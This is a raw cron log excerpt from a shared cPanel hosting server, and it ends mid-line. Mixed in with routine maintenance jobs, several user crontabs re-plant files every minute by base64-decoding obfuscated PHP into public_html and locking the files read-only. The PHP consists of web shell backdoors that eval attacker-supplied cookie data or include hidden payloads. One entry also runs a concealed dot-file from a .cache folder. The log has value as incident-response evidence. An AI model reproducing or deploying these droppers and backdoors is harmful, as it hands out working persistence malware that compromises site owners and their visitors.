Jun  7 05:30:01 medusa CROND[20867]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:30:01 medusa CROND[20868]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Jun  7 05:30:01 medusa CROND[20864]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Jun  7 05:30:01 medusa CROND[20872]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:30:01 medusa CROND[20873]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 05:30:01 medusa CROND[20871]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20865]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:30:01 medusa CROND[20877]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20881]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:30:01 medusa CROND[20869]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:30:01 medusa CROND[20875]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20887]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20890]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Jun  7 05:30:01 medusa CROND[20893]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20895]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Jun  7 05:30:01 medusa CROND[20898]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:30:01 medusa CROND[20889]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20902]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:30:01 medusa CROND[20903]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20909]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20907]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 05:30:01 medusa CROND[20894]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20884]: (root) CMD (/nutscripts/wp-toolkit.sh > /dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20899]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Jun  7 05:30:01 medusa CROND[20888]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Jun  7 05:30:01 medusa CROND[20897]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 05:30:01 medusa CROND[20916]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Jun  7 05:31:01 medusa CROND[22499]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 05:31:01 medusa CROND[22500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 05:31:01 medusa CROND[22501]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 05:31:01 medusa CROND[22502]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 05:31:01 medusa CROND[22504]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:31:01 medusa CROND[22507]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:31:01 medusa CROND[22508]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:31:01 medusa CROND[22511]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 05:31:01 medusa CROND[22510]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 05:31:01 medusa CROND[22513]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 05:31:01 medusa CROND[22519]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:31:01 medusa CROND[22528]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 05:31:01 medusa CROND[22529]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 05:32:02 medusa CROND[24222]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 05:32:02 medusa CROND[24223]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 05:32:02 medusa CROND[24231]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtI